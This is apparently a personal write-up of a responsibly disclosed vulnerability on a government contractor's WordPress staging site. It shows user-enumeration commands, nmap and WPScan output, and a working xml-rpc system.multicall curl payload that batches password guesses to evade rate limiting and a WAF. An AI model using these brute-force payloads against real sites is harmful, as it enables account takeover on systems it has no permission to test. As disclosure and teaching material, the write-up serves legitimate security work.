wordpress xml-rpc vulnerability on a gov't contractor

wordpress & its subsequent dangers

initial recon + user enum

went into this with hackthebox methodology/mindset, since im not a bug bounty hunter (though i’d love to improve at it one day of course)

wap
no immediately exploitable CVEs sadly

manual enumeration revealed the following security issues:

  • user enumeration works
    1
    2
    3
    4
    5
    6
    7
    8
    9
    river@arch:~ $ curl -s "https://<SITE>.com/?author=1" -L | grep -i "author|redirect"

    <title><REDACTED>, Author at <REDACTED></title>
    <link rel="canonical" href="https://<SITE>.com/author/admin/" />
    <link rel="next" href="https://<SITE>.com/author/admin/page/2/" />
    <meta property="og:title" content="<REDACTED, Author at <REDACTED>" />
    <meta property="og:url" content="https://<SITE>.com/author/admin/" />
    

  • xml-rpc is disabled
  • password reset url: /dev-login/?action=lostpassword
  • wp-config backups blocked but with 403 (should be 404)
  • readme.html exposed (200) - should be 404

most significant issue identified during this phase was the working user enumeration capability. multiple valid usernames were successfully enumerated through this method.

port scan + discovery

hit a brick wall with web-based enumeration, so went back to basics (NMAP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
river@arch:~ $ nmap -sV -sC -T4 <SITE>.com
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-09 12:49 -0500
Nmap scan report for <SITE>.com (172.67.213.5)
Host is up (0.033s latency).
Other addresses for <SITE>.com (not scanned): 104.21.77.239 2606:4700:3030::ac43:d505 2606:4700:3037::6815:4def
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Cloudflare http proxy
|_http-title: Did not follow redirect to https://<SITE>.com/
|_http-server-header: cloudflare
443/tcp open ssl/http Cloudflare http proxy
|_http-title: Home - <REDACTED>
|_http-generator: WordPress 6.8.3
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=<SITE>.com
| Subject Alternative Name: DNS:<SITE>.com, DNS:*.<SITE>.com
| Not valid before: 2025-10-16T11:21:36
|_Not valid after: 2026-01-14T12:20:04
|_http-server-header: cloudflare
8080/tcp open http Cloudflare http proxy
|_http-server-header: cloudflare
|_http-title: Did not follow redirect to https://<SITE>.com:8080/
8443/tcp open ssl/http Cloudflare http proxy
|_http-server-header: cloudflare
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=<SITE>.com
| Subject Alternative Name: DNS:<SITE>.com, DNS:*.<SITE>.com
| Not valid before: 2025-10-16T11:21:36
|_Not valid after: 2026-01-14T12:20:04
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.08 seconds
  • ports 8080 and 8443 were discovered in an open state
  • a wildcard SSL certificate (*.<SITE>.com) was observed, indicating the potential presence of subdomains

subdomain enumeration and Discovery

cba to use feroxbuster so just went with classic dorking

dorking
staging branch is literally public ???

poking around staging branch

at some point realized some mismatched wordpress versions

eventually poked around enough to find xml-rpc

1
2
3
4
5
6
7
8
river@arch:~ $ curl -X POST https://staging.<SITE>.com/xmlrpc.php -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>

xml-rpc security implications

from claude:
XML-RPC (Extensible Markup Language Remote Procedure Call) is a legacy protocol that enables remote function calls using XML for encoding and HTTP as the transport mechanism. While XML-RPC provides various functionalities, this analysis focuses specifically on the system.multicall() method due to its security implications.

system.multicall() Attack Vector

the system.multicall() function allows multiple remote procedure calls to be batched into a single HTTP request. this can be abused to bypass rate limiting and intrusion detection systems

example:
traditional brute-force attack: 100 password attempts = 100 individual HTTP requests, which triggers rate limiting and detection mechanisms

with system.multicall(): 100 password attempts = 1 HTTP request, effectively bypassing security controls:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><array><data>
<value><struct>
<member><name>methodName</name><value>wp.getUsersBlogs</value></member>
<member><name>params</name><value><array>
<data><value>admin</value><value>password1</value></data>
</array></value></member>
</struct></value>
<!-- Repeat for password2, password3... password100 -->
</data></array></param>
</params>
</methodCall>

this would also bypass a WAF

proof of concept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
river@arch:~ $ curl -s -X POST https://staging.<SITE>.com/xmlrpc.php -d '<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>interndev</string></value>
<value><string>admin123</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>interndev</string></value>
<value><string>test123</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>interndev</string></value>
<value><string>password123</string></value>
</data></array></value></member>
</struct></value>
</data>
</array>
</value>
</param>
</params>
</methodCall>'
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
</data></array>
</value>
</param>
</params>
</methodResponse>

additional User Enumeration via WPScan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
wpscan --url https://staging.<SITE>.com --enumerate u --plugins-detection passive --random-user-agent
[+] XML-RPC seems to be enabled: https://staging.<SITE>.com/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: https://staging.<SITE>.com/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: https://staging.<SITE>.com/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.7.4 identified (Outdated, released on 2025-09-30).
| Found By: Rss Generator (Passive Detection)
| - https://staging.<SITE>.com/feed/, <generator>https://wordpress.org/?v=6.7.4</generator>
| - https://staging.<SITE>.com/comments/feed/, <generator>https://wordpress.org/?v=6.7.4</generator>
[i] User(s) Identified:
[+] <REDACTED>
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
[+] <REDACTED>
| Found By: Wp Json Api (Aggressive Detection)
| - https://staging.<SITE>.com/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] <REDACTED>
| Found By: Wp Json Api (Aggressive Detection)
| - https://staging.<SITE>.com/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Oembed API - Author URL (Aggressive Detection)
| - https://staging.<SITE>.com/wp-json/oembed/1.0/embed?url=https://staging.<SITE>.com/&format=json
| Yoast Seo Author Sitemap (Aggressive Detection)
| - https://staging.<SITE>.com/author-sitemap.xml
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] <REDACTED>
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] <REDACTED>
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
---

WPScan results confirmed:

  • four distinct user accounts were enumerated
  • xml-rpc functionality was verified as enabled (should have just done this from the start, in retrospect)
  • multiple enumeration vectors were available (RSS feeds, JSON API, Author sitemaps)

when combined with the system.multicall() amplification capability, this configuration presents a significant security risk for credential brute-force attacks.

disclosure

This vulnerability was responsibly disclosed to the affected organization and has been remediated. Public disclosure was authorized following the resolution of all identified security issues.